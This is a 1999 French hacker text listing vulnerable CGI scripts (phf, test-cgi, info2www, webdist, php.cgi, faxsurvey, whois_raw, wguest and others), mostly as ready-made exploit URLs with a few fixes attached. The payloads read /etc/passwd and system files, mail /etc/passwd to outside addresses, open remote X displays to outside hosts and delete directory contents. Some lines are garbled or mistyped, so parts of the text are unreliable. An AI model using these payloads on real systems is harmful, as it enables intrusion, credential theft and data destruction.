_ ________________________________________ _ -*4*- `^°*;:,.> Bugs CGI! <.,:;*°^` ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯ By Yopyop ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________

Traductions, tests, par Yopyop
Ajouts et modifications Tobozo
04-aout-99

CGI Security




Le CGI est encore tres populaire sur les serveurs www malgre l'apparition de suites logicielles plus completes sur les serveurs. Pendant que l'ASP et le PHP se font concurrence, le CGI continue a faire son bonhomme de chemin. A l'heure qu'il est, grand nombre de scripts CGI contiennent toujours des vulnerabilites. Certains de ceux qui sont presentes ici ont ete corriges et ne sont plus vulnerables, toutefois il y a encore de nombreux sites qui les utilisent encore. La liste ici presente est loin d'etre exhaustive et des mises a jour sont a prevoir.
Si vous trouvez des complements a cette liste, alors n'hesitez pas a le faire savoir




Table des matieres






Test cgi's

/cgi-bin/test-cgi?\whatever
/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
/cgi-bin/test-cgi?/*
/cgi-bin/test-cgi?* HTTP/1.0
/cgi-bin/test-cgi?x *
/cgi-bin/nph-test-cgi?* HTTP/1.0
/cgi-bin/nph-test-cgi?x *
/cgi-bin/test-cgi?x HTTP/1.0 *



HotMail

Les scripts CGI qui sont utilises par (Hot)mail ont un trou de securite qui permet a des personnes non autorisees de rentrer dans le compte email d'utilisateurs et de lire leurs mails. Le probleme affecte des versions de Hotmail qui ont ete mise en place en Decembre 1998.

L'exploit:

La ligne de commande suivante revele l'URL qui peut etre utilisee pour acceder au compte email de l'utilisateur "billg" (billg@hotmail.com)
http://www.hotmail.com/cgi-bin/password.cgi?login=billg&curmbox=active

Le resultat de cette commande est de donner (si et seulement si il est actuellement loggue) l'URL qui permet d'acceder au compte de billg.

Le resultat devrait ressembler a quelque chose comme cela:
http://207.82.252.251/cgi-bin//start/billg/209.185.130.45_d436



TextCounter versions 1.0-1.2 (Perl) et 1.0-1.3 (C++) par Matt Wright (Juin 1998)

Les recentes versions du programme TextCounter (utilise pour donner le nombre de visiteurs d'une page) ne supprime pas les metacaracteres introduits par l'utilisateur. Ce qui a pour resultat de permettre a des utilisateurs distants d'executer des commandes shell sur le serveur. Ceci affecte a la fois les versions Perl et C++.

Voici les deux lignes responsables du probleme:

if (-e "$data_dir$count_page") {
open(COUNT,"$data_dir$count_page");
....
}

Solutions:
Mettre a jour votre version en 1.21 (Perl) ou 1.31 (C++).
http://www.worldwidemart.com/scripts/textcounter.shtml -->Perl
http://www.worldwidemart.com/scripts/C++/textcounter.shtml -->C++

Ou alors changez:
open(COUNT,"$data_dir$count_page");
en
open(COUNT,"<$data_dir$count_page");



Divers scripts guestbook (Juin 1998)

Le Bug apparait pour les utilisateurs qui:
  • Utilisent la technologie SSI (Server Side Include) sur leur site web.
  • Ont active SSI dans le repertoire contenant le fichier guestbook.html.
  • Ont active l'utilisation de TAGs HTML dans leur fichier de setup.
  • N'ont pas inclus de mots clef du type "exec" dans leur liste de mots interdits a l'interieur de leur fichier de setup.
De tres serieux dommages peuvent arriver si:
  • Votre serveur web fonctionne sous root (Personne ne doit faire cela de toute maniere).
  • Votre serveur ne fonctionne pas sous root, mais vous avez attribue n'importe comment les permissions sur votre site.

Comme vous pouvez le voir il y a beaucoup de "si" et donc tres peu d'utilisateur sont touches.
Si toutefois vous pensez que votre fichier est vunerable alors je vous conseille de crier a haute et inteligible voix "DON'T PANIC"!



Excite Web Search Engine (EWS) version (November 1998)

Le moteur de recherche Excite enregistre des informations critiques (incluant les mots de passe encryptes d'administrateurs) dans des fichiers qui sont accessibles au niveau utilisateur. Ceci permet a des utilisateur sans privileges d'avoir acces a la partie administration de EWS a partir d'UNIX et de NT.
Il faut noter que ce bug met en danger votre site web uniquement si vous avez le moteur de recherche installe localement. Il n'affecte pas les sites qui ont un lien sur ce moteur de recherche ni ceux bien sur qui y sont references.

Un probleme plus grave a ete trouve sur des versions non patchees de EWS anterieures a Fevrier 1998, (malheureusement, cette version est aussi appelee 1.1).

Exploit:
http://www.insecure.org/sploits/excite_for_web_servers_cgi.html

Solution:
http://www.excite.com/navigate/patches.html



Info2www, versions 1.0-1.1

info2www, qui convertit les fichiers GNU "info" en pages web, ne verifie pas les nom de fichiers fournis par l'utilisateur avant de les ouvrir.
Ce qui a pour resultat de permettre l'ouverture de fichier arbitraire et l'execution de commandes contenant des metacarateres shell. Les versions 1.2 et suivantes sont soit disant sans bugs mais du fait du tres grand nombre de versions du script, vous devriez examiner par vous meme le code source avant de l'installer.
Verifiez aussi les scripts CGI info2html et infogate car apparemment ils proviennent de info2www.

Exploit:
/cgi-bin/info2www?(../../../../../../../bin/mail rudicarell@hotmail.com </etc/passwd)
/cgi-bin/info2www '(../../../../../../../bin/mail jami /cgi-bin/campas?%0acat%0a/etc/passwd%0a



Count.cgi, versions 1.0-2.3

Count.cgi est un compteur de visites, et il contient un gug (stack overflow) qui permet a un utilisateur distant d'executer des commandes UNIX sur le serveur.

Exploit:
http://www.insecure.org/sploits/count.cgi.QUERY_STRING.overflow.html

Solution:
La verion 2.4 corrige ce bug. Elle peut etre trouvee sur:
http://www.fccc.edu/users/muquit/Count.html



Webdist.cgi IRIX 6.2, 6.3

Ce script fait partie d'un systeme qui permet aux utilisateurs d'installer et de distribuer des logiciels a travers le reseau. A cause d'une mauvaise verification des parametres CGI, des utilisateurs distants peuvent executer des commandes sur le serveur avec les permissions du daemon.

Exploit:
/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd
/cgi-bin/webdist.cgi?/bin/mail%20:/etc/passwd[me@myhost.com]



Php.cgi, multiple versions

Le script CGI php.cgi, ne devrait jamais etre installe dans le repertoire cgi-bin. Ceci permet a quiconque d'executer des commande shell sur la machine serveur.

Exploit:
/cgi-bin/php.cgi?/etc/passwd

Solution:
Telecharger la derniere version:
http://php.iquest.net/

Plus d'infos:
http://members.tripod.com/~yopyop/exploits/php.htm

PHP fournit aussi les fichier d'exemples mlog et mylog qui contient un trou de securite permettant de visualiser n'importe quel fichier sur le serveur:

/cool-logs/mlog.html?screen=/etc/passwd
/cool-logs/mylog.html?screen=/etc/passwd



Files.pl, Novell WebServer Examples Toolkit v.2

Du fait d'une mauvaise verification des donnees entrantes de l'utilisateur, le fichier files.pl, fournit avec l'installation de Novell WebServer permet aux utilisateurs de voir n'importe quel fichier ou repertoire du systeme, ce qui a bien sur pour resultat de compromettre la confidentialite des documents, et potentiellement de donner au crackers les informations necessaires pour pouvoir penetrer le systeme (niark niark niark...)

Exploit:
http://wanna.be.hacked/cgi-bin/files.pl? ../../ect/passwd

Solution:
Supprimez ce script et tout les autres scripts dont vous n'avez pas besoin.


Nph-test-cgi, toutes versions

Ce script inclut dans de nombreuses versions de NCSA httpd et des daemons apache peut etre exploite par un utilisateur distant pour obtenir un listing des fichiers et repertoires presents sur le serveur.

Exploit:
/cgi-bin/nph-test-cgi?x HTTP/1.0 *
/cgi-bin/nph-test-cgi?* HTTP/1.0
/cgi-bin/nph-test-cgi?x *
/cgi-bin/nph-test.cgi /*

Solution:
Suppression du fichier ou de ses permissions en execution.



AnyForm, version 1.0

Un utilisateur distant peut executer des commandes sur le serveur.
http://www.uky.edu/~johnr/AnyForm2


FormMail, version 1.0

Un utilisateur distant peut executer des commandes sur le serveur.
http://alpha.pr1.k12.co.us/~mattw/scripts.html


Phf

Un utilisateur distant peut executer des commandes sur le serveur.

Exploit:
/cgi-bin/phf?Q=x%0apwd
/cgi-bin/phf?Q=x%ffpwd
/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
/cgi-bin/phf?%0a blablabla &Qalias=&Qname=&Qemail=&Qnickname=&Qoffice_phone= ... usw
/cgi-bin/phf?Qname=%0acat%20/etc/passwd

Plus d'infos:
http://members.tripod.com/~yopyop/exploits/phf.htm
http://hoohoo.ncsa.uiuc.edu/


Omnihttpd

http://omni.server/cgi-bin/visadmin.exe?user=guest


Pfdispaly.cgi

Un utilisateur distant peut executer des commandes sur le serveur avec les permissions du serveur web.

Exploit:
/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|'
/cgi-bin/pfdispaly.cgi?/../../../../etc/motd
/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evil:0.0|'


Faxsurvey

Un utilisateur distant peut executer des commandes sur le serveur avec les permissions du serveur web. Toutes les versions S.u.S.E. 5.1 et 5.2 Linux Dist avec le package HylaFAX installe sont vulnerables.

Exploit:
/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
/cgi-bin/faxsurvey?/bin/ls%20-a



Whois_raw.cgi cdomain v1.0.

Exploit:
/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/xterm%20-display%20graziella.lame.org:0
/cgi-bin/whois_raw.cgi?fqdn=%0acat%20/etc/passwd


Test.bat et perl.exe sur Netscape Serveur

Il est aussi recommande de ne pas mettre PERL.EXE dans le repertoire CGI-BIN car ceci permet d'executer des commandes PERL directement sur le serveur.

Exemple:
/cgi-bin/perl.exe?&-e+unlink+%3C*%3E Efface le contenu du repertoire. Violent...
/cgi-bin/test.bat?&dir Execute test.bat et donne le listing du repertoire.
/scripts/test.bat+%26dir+%26time+%26abracadabra.exe .... netscape server


Htmlscript (www.htmlscript.com)

Possibilite d'acces a n'importe quel fichier sur le serveur.

Exploit:
/cgi-bin/htmlscript?../../../../etc/passwd


lotus domino server

Possibilite d'ecrire et de changer la configuration du serveur!!!!!!

Exploit:
http ... /domcfg.nsf/?open
htto ... /domcfg.nsf/URLRedirect/?OpenForm
http:... /database.nsf/viewname?SearchView&Query="*"

Pour plus d'infos:
http://www.insecure.org/sploits/lotus.domino.database.html


wguest.exe

David Litchfield alias Mnemonic a decouvert un bug dans wguest.exe qui permet a un utilisateur distant de voir n'importe quel fichier texte du systeme. Wguest.exe est un script CGI concu par Webcom Datakommunikation, qui permet aux utilisateurs de signer un guestbook. Le nombre de serveurs affectes est assez important.

Exemple:
input type="hidden" name="template"
value="c:\inetpub\wwwroot\gb\template.htm">

ou
input type="hidden" name="template" value="/gb/template.htm">

Template.htm est la page qui sera affichee grace a wguest.exe apres que l'utilisateur ait entre ses informations.

Exploit:
Sauver la source du doc et changez le path en ce que vous voulez.

Exemple:
input type="hidden" name="template"
value="c:\winnt\system32\$winnt$.inf">
Il clique ensuite sur submit et le contenu du fichier sera affiche.

Ou encore plus rapidement:
/cgi-bin/wguest.exe?template=3Dc:\boot.ini

Il y a aussi le meme probleme avec rguest:
/cgi-bin/rguest.exe?template=3Dc:\winnt\system32\$winnt$.inf




¥õÞÝóþ
24/07/99